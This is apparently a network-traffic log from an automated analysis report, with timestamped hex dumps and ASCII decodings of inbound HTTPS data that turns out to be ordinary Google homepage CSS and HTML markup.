Data Ascii: gb_3.gb_3.gb_9d,#gb a.gb_2.gb_2.gb_9d{cursor:pointer}.gb_3.gb_9d:hover{background:#2b7de9;box-shad
ow:0 1px 2px 0 rgba(66,133,244,0.3),0 1px 3px 1px rgba(66,133,244,0.15)}.gb_3.gb_9d:focus,.gb_3.gb_9d:hover:fo
cus{background:#5094ed;box-shadow:0 1px 2px 0 r

2021-09-14 14:03:24 UTC 72 IN Data Raw: 63 75 73 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 61 36 63 36 66 61 3b 62 6f 72 64 65 72 2d 
63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 7d 23 67 62 20 61 2e 
67 62 5f 39 64 2e 67 62 5f 32 3a 61 63 74 69 76 65 2c 23 67 62 20 2e 67 62 5f 76 63 20 61 2e 67 62 5f 39 64 3a 61 63 74 
69 76 65 2c 23 67 62 2e 67 62 5f 76 63 20 61 2e 67 62 5f 39 64 3a 61 63 74 69 76 65 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 
23 65 63 66 33 66 65 7d 23 67 62 20 61 2e 67 62 5f 33 2e 67 62 5f 6a 61 2e 67 62 5f 39 64 3a 61 63 74 69 76 65 7b 62 61 
63 6b 67 72 6f 75 6e 64 3a 23 61 31 63 33 66 39 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 31 70 78 20 32 70 78 20 72 67 
62 61 28 36 30 2c 36 34 2c 36 37 2c 30 2e 33 29 2c 30 20 
Data Ascii: cus:hover{background:#a6c6fa;border-color:transparent;box-shadow:none}#gb a.gb_9d.gb_2:active,#gb .gb_vc 
a.gb_9d:active,#gb.gb_vc a.gb_9d:active{background:#ecf3fe}#gb a.gb_3.gb_ja.gb_9d:active{background:#a1c3f9;box-s
hadow:0 1px 2px rgba(60,64,67,0.3),0 

2021-09-14 14:03:24 UTC 73 IN Data Raw: 31 70 78 20 73 6f 6c 69 64 20 23 35 66 36 33 36 38 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 
33 33 33 34 33 38 7d 2e 67 62 5f 6d 61 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 61 64 64 69 
6e 67 2d 6c 65 66 74 3a 37 70 78 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 70 78 3b 74 65 78 74 2d 61 6c 69 
67 6e 3a 63 65 6e 74 65 72 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 6c 69 6e 65 2d 68 65 
69 67 68 74 3a 33 32 70 78 3b 77 69 64 74 68 3a 37 38 70 78 7d 2e 67 62 5f 69 61 2e 67 62 5f 6a 61 20 2e 67 62 5f 6d 61 
7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 36 70 78 3b 77 69 64 74 68 3a 37 32 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 6
6 74 3a 30 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 30 7d 
Data Ascii: 1px solid #5f6368;background-color:#333438}.gb_ma{display:inline-block;padding-left:7px;padding-bottom:2px;t
ext-align:center;vertical-align:middle;line-height:32px;width:78px}.gb_ia.gb_ja .gb_ma{line-height:26px;width:72px;padding-
left:0;padding-bottom:0}

2021-09-14 14:03:24 UTC 75 IN Data Raw: 2d 72 61 74 69 6f 3a 31 2e 32 35 29 7b 2e 67 62 5f 43 61 3a 3a 62 65 66 6f 72 65 7b 64 69 73 70 6c 61 79 3a 
69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 35 29 3b 74 72 61 
6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 35 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 6c 65 
66 74 20 30 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 6c 65 66 74 20 30 7d 2e 67 62 5f 48 61 3a 3a 62 65 66 
6f 72 65 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 
63 61 6c 65 28 2e 35 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 35 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 
72 6d 2d 6f 72 69 67 69 6e 3a 6c 65 66 74 20 30 3b 74 72 
Data Ascii: -ratio:1.25){.gb_Ca::before{display:inline-block;-ms-transform:scale(.5);transform:scale(.5);-ms-transform-o
rigin:left 0;transform-origin:left 0}.gb_Ha::before{display:inline-block;-ms-transform:scale(.5);transform:scale(.5);-ms-
transform-origin:left 0;tr
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2021-09-14 14:03:24 UTC 76 IN Data Raw: 68 6f 76 65 72 2c 2e 67 62 5f 69 20 2e 67 62 5f 43 61 3a 68 6f 76 65 72 2c 2e 67 62 5f 44 20 2e 67 62 5f 43 61 
3a 66 6f 63 75 73 2c 2e 67 62 5f 69 20 2e 67 62 5f 43 61 3a 66 6f 63 75 73 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 
31 70 78 20 30 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 35 29 20 2c 20 30 20 31 70 78 20 32 70 78 20 72 67 62 61 28 
30 2c 30 2c 30 2c 2e 32 29 20 7d 2e 67 62 5f 50 61 20 2e 67 62 5f 4e 61 2c 2e 67 62 5f 51 61 20 2e 67 62 5f 4e 61 7b 70 
6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 72 69 67 68 74 3a 31 70 78 7d 2e 67 62 5f 4e 61 2e 67 62 5f 68 2c 2e 
67 62 5f 52 61 2e 67 62 5f 68 2c 2e 67 62 5f 4d 61 2e 67 62 5f 68 7b 66 6c 65 78 3a 30 20 31 20 61 75 74 6f 3b 66 6c 65 
78 3a 30 20 31 20 6d 61 69 6e 2d 73 69 7a 65 7d 2e 67 62 
Data Ascii: hover,.gb_i .gb_Ca:hover,.gb_D .gb_Ca:focus,.gb_i .gb_Ca:focus{box-shadow: 0 1px 0 rgba(0,0,0,.15) , 0 1px 
2px rgba(0,0,0,.2) }.gb_Pa .gb_Na,.gb_Qa .gb_Na{position:absolute;right:1px}.gb_Na.gb_h,.gb_Ra.gb_h,.gb_Ma.gb_h
{flex:0 1 auto;flex:0 1 main-size}.gb

2021-09-14 14:03:24 UTC 77 IN Data Raw: 38 30 30 30 0d 0a 63 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 67 62 
5f 32 63 20 2e 67 62 5f 36 63 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 
3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 31 38 70 78 3b 72 69 67 68 74 3a 32 34 70 78 7d 2e 67 62 5f 36 63 20 2e 67 62 
5f 37 63 7b 68 65 69 67 68 74 3a 31 2e 35 65 6d 3b 6d 61 72 67 69 6e 3a 2d 2e 32 35 65 6d 20 31 30 70 78 20 2d 2e 32 
35 65 6d 20 30 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 65 78 74 2d 74 6f 70 3b 77 69 64 74 68 3a 31 2e 35 
65 6d 7d 2e 67 62 5f 38 63 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 7
0 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 63 6f 6c 
Data Ascii: 8000c{background-color:inherit}.gb_2c .gb_6c{display:inline-block;position:absolute;top:18px;right:24px}.gb_6c 
.gb_7c{height:1.5em;margin:-.25em 10px -.25em 0;vertical-align:text-top;width:1.5em}.gb_8c{line-height:20px;font-size
:16px;font-weight:700;col

2021-09-14 14:03:24 UTC 78 IN Data Raw: 6f 74 6f 2c 52 6f 62 6f 74 6f 44 72 61 66 74 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 
73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 65 74 
74 65 72 2d 73 70 61 63 69 6e 67 3a 30 2e 32 35 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 36 70 78 3b 6d 69 6e 
2d 77 69 64 74 68 3a 37 30 70 78 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 
6e 6f 6e 65 7d 2e 67 62 5f 5a 2e 67 62 5f 6b 64 2e 67 62 5f 6a 64 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 34 70 78 
3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 68 65 
69 67 68 74 3a 33 36 70 78 3b 63 6f 6c 6f 72 3a 23 35 66 
Data Ascii: oto,RobotoDraft,Helvetica,Arial,sans-serif;font-size:14px;font-weight:500;letter-spacing:0.25px;line-height:
16px;min-width:70px;outline:none;text-transform:none}.gb_Z.gb_kd.gb_jd{border-radius:4px;box-sizing:border-box
;cursor:pointer;height:36px;color:#5f

2021-09-14 14:03:24 UTC 80 IN Data Raw: 74 6f 6d 3a 30 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 2e 67 62 5f 6c 64 20 2e 67 62 5f 
6d 64 2c 2e 67 62 5f 6c 64 20 2e 67 62 5f 6e 64 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 32 70 78 3b 74 65 78 74 2d 74 
72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 61 2e 67 62 5f 33 2e 67 62 5f 6d 64 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 
75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 62 37 64 65 39 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 
6e 74 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 31 70 78 20 32 70 78 20 30 20 72 67 62 61 28 36 36 2c 31 33 33 2c 32 
34 34 2c 30 2e 33 29 2c 30 20 31 70 78 20 33 70 78 20 31 70 78 20 72 67 62 61 28 36 36 2c 31 33 33 2c 32 34 34 2c 30 
2e 31 35 29 7d 61 2e 67 62 5f 33 2e 67 62 5f 6d 64 3a 66 6f 63 
Data Ascii: tom:0;white-space:nowrap}.gb_ld .gb_md,.gb_ld .gb_nd{margin-left:12px;text-transform:none}a.gb_3.g
b_md:hover{background-color:#2b7de9;border-color:transparent;box-shadow:0 1px 2px 0 rgba(66,133,244,0.3),0 1px 3px 
1px rgba(66,133,244,0.15)}a.gb_3.gb_md:foc

2021-09-14 14:03:24 UTC 81 IN Data Raw: 67 69 6e 3a 30 7d 2e 67 62 5f 63 64 20 2e 67 62 5f 33 63 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 34 64 39 30 
66 65 3b 62 6f 72 64 65 72 3a 32 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 78 2d 73 69 7a 69 
6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6d 61 72 67 69 6e 2d 74 6f 70 
3a 32 31 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 37 30 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 
2e 67 62 5f 63 64 20 61 2e 67 62 5f 33 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 31 61 37 33 65 38 3b 62 6f 72 64 65 72 2d 
72 61 64 69 75 73 3a 34 70 78 3b 63 6f 6c 6f 72 3a 23 66 66 66 66 66 66 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 47 6f 6f 
67 6c 65 20 53 61 6e 73 2c 52 6f 62 6f 74 6f 2c 52 6f 62 6f 
Data Ascii: gin:0}.gb_cd .gb_3c{background:#4d90fe;border:2px solid transparent;box-sizing:border-box;font-wei
ght:500;margin-top:21px;min-width:70px;text-align:center}.gb_cd a.gb_3{background:#1a73e8;border-radius:4px;color:#fffff
f;font-family:Google Sans,Roboto,Robo

2021-09-14 14:03:24 UTC 82 IN Data Raw: 68 3a 34 38 70 78 7d 2e 67 62 5f 70 64 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 33 70 78 3b 77 69 64 74 
68 3a 31 30 30 25 7d 2e 67 62 5f 63 64 20 2e 67 62 5f 70 64 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 34 70 78 3b 6d 69 6e 
2d 77 69 64 74 68 3a 33 32 36 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 70 78 3b 77 69 64 74 68 3a 33 32 36 
70 78 7d 2e 67 62 5f 63 64 2e 67 62 5f 79 64 20 2e 67 62 5f 70 64 7b 6d 69 6e 2d 77 69 64 74 68 3a 32 35 34 70 78 3b 77 
69 64 74 68 3a 32 35 34 70 78 7d 2e 67 62 5f 63 64 2e 67 62 5f 77 64 20 2e 67 62 5f 70 64 7b 70 61 64 64 69 6e 67 2d 74 
6f 70 3a 33 32 70 78 7d 2e 67 62 5f 42 64 7b 63 6f 6c 6f 72 3a 23 66 66 66 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 
33 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 
Data Ascii: h:48px}.gb_pd{padding-left:13px;width:100%}.gb_cd .gb_pd{padding-top:4px;min-width:326px;padding-l
eft:0px;width:326px}.gb_cd.gb_yd .gb_pd{min-width:254px;width:254px}.gb_cd.gb_wd .gb_pd{padding-top:32px}.gb_B
d{color:#ffffff;font-size:13px;font-weight:bold

2021-09-14 14:03:24 UTC 83 IN Data Raw: 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 70 2c 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 34 29 2c 72 67 62 61 
28 30 2c 30 2c 30 2c 30 2e 32 29 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 2d 6d 73 2d 6c 69 6e 65 61 
72 2d 67 72 61 64 69 65 6e 74 28 74 6f 70 2c 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 34 29 2c 72 67 62 61 28 30 2c 
30 2c 30 2c 30 2e 32 29 29 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 
32 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 31 70 78 20 31 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 29 3b 
66 69 6c 74 65 72 3a 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 
2e 67 72 61 64 69 65 6e 74 28 73 74 61 72 74 43 6f 6c 6f 72 73 
Data Ascii: r-gradient(top,rgba(0,0,0,0.14),rgba(0,0,0,0.2));background-image:-ms-linear-gradient(top,rgba(0,0,0,0.14),r
gba(0,0,0,0.2));border:1px solid rgba(0,0,0,0.2);box-shadow:0 1px 1px rgba(0,0,0,0.1);filter:progid:DXImageTransform.Mic
rosoft.gradient(startColors

2021-09-14 14:03:24 UTC 85 IN Data Raw: 34 65 7b 6d 61 78 2d 68 65 69 67 68 74 3a 31 36 30 70 78 7d 2e 71 61 72 73 74 62 7b 66 6c 65 78 2d 67 72 6f 
77 3a 31 7d 3c 2f 73 74 79 6c 65 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 4c 33 65 55 67 62 22 20 64 61 74 61 2d 68 76 
65 69 64 3d 22 31 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 33 6a 39 39 20 6e 31 78 4a 63 66 20 4e 65 36 6e 53 64 
22 3e 3c 73 74 79 6c 65 3e 2e 4e 65 36 6e 53 64 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 65 6
d 73 3a 63 65 6e 74 65 72 3b 70 61 64 64 69 6e 67 3a 36 70 78 7d 61 2e 4d 56 33 54 6e 62 7b 64 69 73 70 6c 61 79 3a 
69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 61 64 64 69 6e 67 3a 35 70 78 3b 6d 61 72 67 69 6e 3a 30 20 35 70 78 3b 63 6f 
6c 6f 72 3a 23 32 32 32 7d 61 2e 4d 56 33 54 6e 62 3a 66 69 72 73 74 
Data Ascii: 4e{max-height:160px}.qarstb{flex-grow:1}</style><div class="L3eUgb" data-hveid="1"><div class="o3j99 
n1xJcf Ne6nSd"><style>.Ne6nSd{display:flex;align-items:center;padding:6px}a.MV3Tnb{display:inline-block;pad
ding:5px;margin:0 5px;color:#222}a.MV3Tnb:first

Timestamp
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2021-09-14 14:03:24 UTC 86 IN Data Raw: 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 62 5f 53 65 22 3e 3c 64 69 76 20 63 6c 
61 73 73 3d 22 67 62 5f 4e 63 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 62 5f 42 20 67 62 5f 62 64 20 67 62 5f 68 20 
67 62 5f 41 66 22 20 64 61 74 61 2d 6f 67 73 72 2d 66 62 3d 22 74 72 75 65 22 20 64 61 74 61 2d 6f 67 73 72 2d 61 6c 74 
3d 22 22 20 69 64 3d 22 67 62 77 61 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 62 5f 7a 66 22 3e 3c 61 20 63 6c 61 
73 73 3d 22 67 62 5f 43 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 47 6f 6f 67 6c 65 20 61 70 70 73 22 20 68 72 65 66 3d 
22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 2e 75 6b 2f 69 6e 74 6c 2f 65 6e 2f 61 62 6f 75 74 2f 70 
72 6f 64 75 63 74 73 22 20 61 72 69 61 2d 65 78 70 61 6e 
Data Ascii: div></div><div class="gb_Se"><div class="gb_Nc"><div class="gb_B gb_bd gb_h gb_Af" data-ogsr-fb="true" 
data-ogsr-alt="" id="gbwa"><div class="gb_zf"><a class="gb_C" aria-label="Google apps" href="https://www.google.co.
uk/intl/en/about/products" aria-expan

2021-09-14 14:03:24 UTC 87 IN Data Raw: 75 74 6f 7d 3c 2f 73 74 79 6c 65 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6b 31 7a 49 41 20 72 53 6b 34 73 65 
22 3e 3c 73 74 79 6c 65 3e 2e 72 53 6b 34 73 65 7b 6d 61 78 2d 68 65 69 67 68 74 3a 39 32 70 78 3b 70 6f 73 69 74 69 6f 
6e 3a 72 65 6c 61 74 69 76 65 7d 2e 6c 6e 58 64 70 64 7b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 78 2d 
77 69 64 74 68 3a 31 30 30 25 3b 6f 62 6a 65 63 74 2d 66 69 74 3a 63 6f 6e 74 61 69 6e 3b 6f 62 6a 65 63 74 2d 70 6f 73 
69 74 69 6f 6e 3a 63 65 6e 74 65 72 20 62 6f 74 74 6f 6d 3b 77 69 64 74 68 3a 61 75 74 6f 7d 3c 2f 73 74 79 6c 65 3e 3c 
69 6d 67 20 63 6c 61 73 73 3d 22 6c 6e 58 64 70 64 22 20 61 6c 74 3d 22 47 6f 6f 67 6c 65 22 20 68 65 69 67 68 74 3d 22 
39 32 22 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 62 72 61 
Data Ascii: uto}</style><div class="k1zIA rSk4se"><style>.rSk4se{max-height:92px;position:relative}.lnXdpd{max-height:10
0%;max-width:100%;object-fit:contain;object-position:center bottom;width:auto}</style><img class="lnXdpd" alt="Google" h
eight="92" src="/images/bra

2021-09-14 14:03:24 UTC 89 IN Data Raw: 6d 63 61 76 20 2e 52 4e 4e 58 67 62 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 
75 73 3a 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 30 7d 2e 65 6d 63 61 76 
2e 65 6d 63 61 74 20 2e 52 4e 4e 58 67 62 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 
3a 32 34 70 78 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 32 34 70 78 7d 2e 6d 
69 6e 69 64 69 76 20 2e 65 6d 63 61 76 2e 65 6d 63 61 74 20 2e 52 4e 4e 58 67 62 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 
6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 31 36 70 78 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 
61 64 69 75 73 3a 31 36 70 78 7d 2e 52 4e 4e 58 67 62 3a 
Data Ascii: mcav .RNNXgb{border-bottom-left-radius:0;border-bottom-right-radius:0}.emcav.emcat .RNNXgb{border-
bottom-left-radius:24px;border-bottom-right-radius:24px}.minidiv .emcav.emcat .RNNXgb{border-bottom-left-radiu
s:16px;border-bottom-right-radius:16px}.RNNXgb:

2021-09-14 14:03:24 UTC 90 IN Data Raw: 73 74 79 6c 65 3e 2e 67 4c 46 79 66 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 
61 72 65 6e 74 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 63 6f 6c 
6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 38 37 29 3b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 
6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 3a 31 30 30 25 3b 2d 6d 73 2d 
74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 6d 61 72 67 69 6e 2d 74 
6f 70 3a 2d 33 37 70 78 3b 68 65 69 67 68 74 3a 33 34 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 2e 6d 
69 6e 69 64 69 76 20 2e 67 4c 46 79 66 7b 6d 61 72 67 69 6e 
Data Ascii: style>.gLFyf{background-color:transparent;border:none;margin:0;padding:0;color:rgba(0,0,0,.87);word-
wrap:break-word;outline:none;display:flex;flex:100%;-ms-tap-highlight-color:transparent;margin-top:-37px;height:34px;font-
size:16px;}.minidiv .gLFyf{margin

2021-09-14 14:03:24 UTC 91 IN Data Raw: 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 62 6f 72 64 65 72 3a 30 3b 62 61 63 6b 67 72 
6f 75 6e 64 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 30 20 
38 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 34 34 70 78 7d 2e 4d 32 76 56 33 7b 64 69 73 70 6c 61 79 3a 66 6c 65 
78 7d 2e 45 78 43 4b 6b 66 7b 68 65 69 67 68 74 3a 31 30 30 25 3b 63 6f 6c 6f 72 3a 23 37 30 37 35 37 61 3b 76 65 72 
74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 7d 2e 6d 69 6e 69 64 69 76 
20 2e 42 4b 52 50 65 66 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 33 32 70 78 7d 2e 6d 69 6e 69 64 69 76 20 2e 45 78 43 
4b 6b 66 7b 77 69 64 74 68 3a 32 30 70 78 7d 3c 2f 73 74 79 6c 65 
Data Ascii: r;align-items:center;border:0;background:transparent;outline:none;padding:0 8px;line-height:44px}.M2vV3{disp
lay:flex}.ExCKkf{height:100%;color:#70757a;vertical-align:middle;outline:none}.minidiv .BKRPef{line-height:32px}.minidiv 
.ExCKkf{width:20px}</style

2021-09-14 14:03:24 UTC 92 IN Data Raw: 31 36 70 78 7d 2e 65 72 6b 76 51 65 7b 66 6c 65 78 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 
6d 3a 38 70 78 3b 7d 2e 52 6a 50 75 56 62 7b 68 65 69 67 68 74 3a 31 70 78 3b 6d 61 72 67 69 6e 3a 30 20 32 36 70 78 
20 30 20 30 7d 2e 53 33 6e 46 6e 64 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 2e 53 33 6e 46 6e 64 20 2e 52 6a 50 75 
56 62 2c 2e 53 33 6e 46 6e 64 20 2e 61 61 6a 5a 43 62 7b 66 6c 65 78 3a 30 20 30 20 61 75 74 6f 7d 2e 6c 68 38 37 6b 6
5 3a 6c 69 6e 6b 2c 2e 6c 68 38 37 6b 65 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 31 61 30 64 61 62 3b 63 75 72 
73 6f 72 3a 70 6f 69 6e 74 65 72 3b 66 6f 6e 74 3a 31 31 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 70 
61 64 64 69 6e 67 3a 30 20 35 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 
Data Ascii: 16px}.erkvQe{flex:auto;padding-bottom:8px;}.RjPuVb{height:1px;margin:0 26px 0 0}.S3nFnd{display:fl
ex}.S3nFnd .RjPuVb,.S3nFnd .aajZCb{flex:0 0 auto}.lh87ke:link,.lh87ke:visited{color:#1a0dab;cursor:pointer;font:11px ari
al,sans-serif;padding:0 5px;margin-to

2021-09-14 14:03:24 UTC 94 IN Data Raw: 66 61 6d 69 6c 79 3a 47 6f 6f 67 6c 65 20 53 61 6e 73 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 2d 
6d 65 64 69 75 6d 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6d 61 72 67 69 6e 
3a 30 20 32 30 70 78 20 30 20 31 36 70 78 3b 70 61 64 64 69 6e 67 3a 38 70 78 20 30 20 38 70 78 20 30 3b 6c 69 6e 65 
2d 68 65 69 67 68 74 3a 31 36 70 78 3b 77 69 64 74 68 3a 31 30 30 25 7d 3c 2f 73 74 79 6c 65 3e 3c 6c 69 20 63 6c 61 7
3 73 3d 22 79 6e 52 72 69 63 22 20 69 64 3d 22 79 6e 52 72 69 63 22 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 69 
6f 6e 22 3e 3c 2f 6c 69 3e 3c 73 74 79 6c 65 3e 23 59 4d 58 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 73 62 63 74 
7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 
Data Ascii: family:Google Sans,arial,sans-serif-medium,sans-serif;font-size:14px;margin:0 20px 0 16px;padding:8px 0 8px 
0;line-height:16px;width:100%}</style><li class="ynRric" id="ynRric" role="presentation"></li><style>#YMXe{display:none}
.sbct{display:flex;align-it

2021-09-14 14:03:24 UTC 95 IN Data Raw: 67 2d 74 6f 70 3a 30 7d 2e 6d 75 73 5f 69 6c 5f 61 74 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 70 78 7d 
2e 6d 75 73 5f 69 6c 5f 73 74 7b 72 69 67 68 74 3a 35 32 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 
2e 6d 75 73 5f 69 6c 5f 69 7b 61 6c 69 67 6e 3a 6c 65 66 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 30 70 78 7d 2e 
6d 75 73 5f 69 74 33 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 32 34 70 
78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 6f 74 74 6f 6d 7d 2e 6d 75 73 5f 69 74 35 7b 68 65 69 67 68 74 3a 
32 34 70 78 3b 77 69 64 74 68 3a 32 34 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 6f 74 74 6f 6d 3b 6d 61 
72 67 69 6e 2d 6c 65 66 74 3a 31 30 70 78 3b 6d 61 72 67 
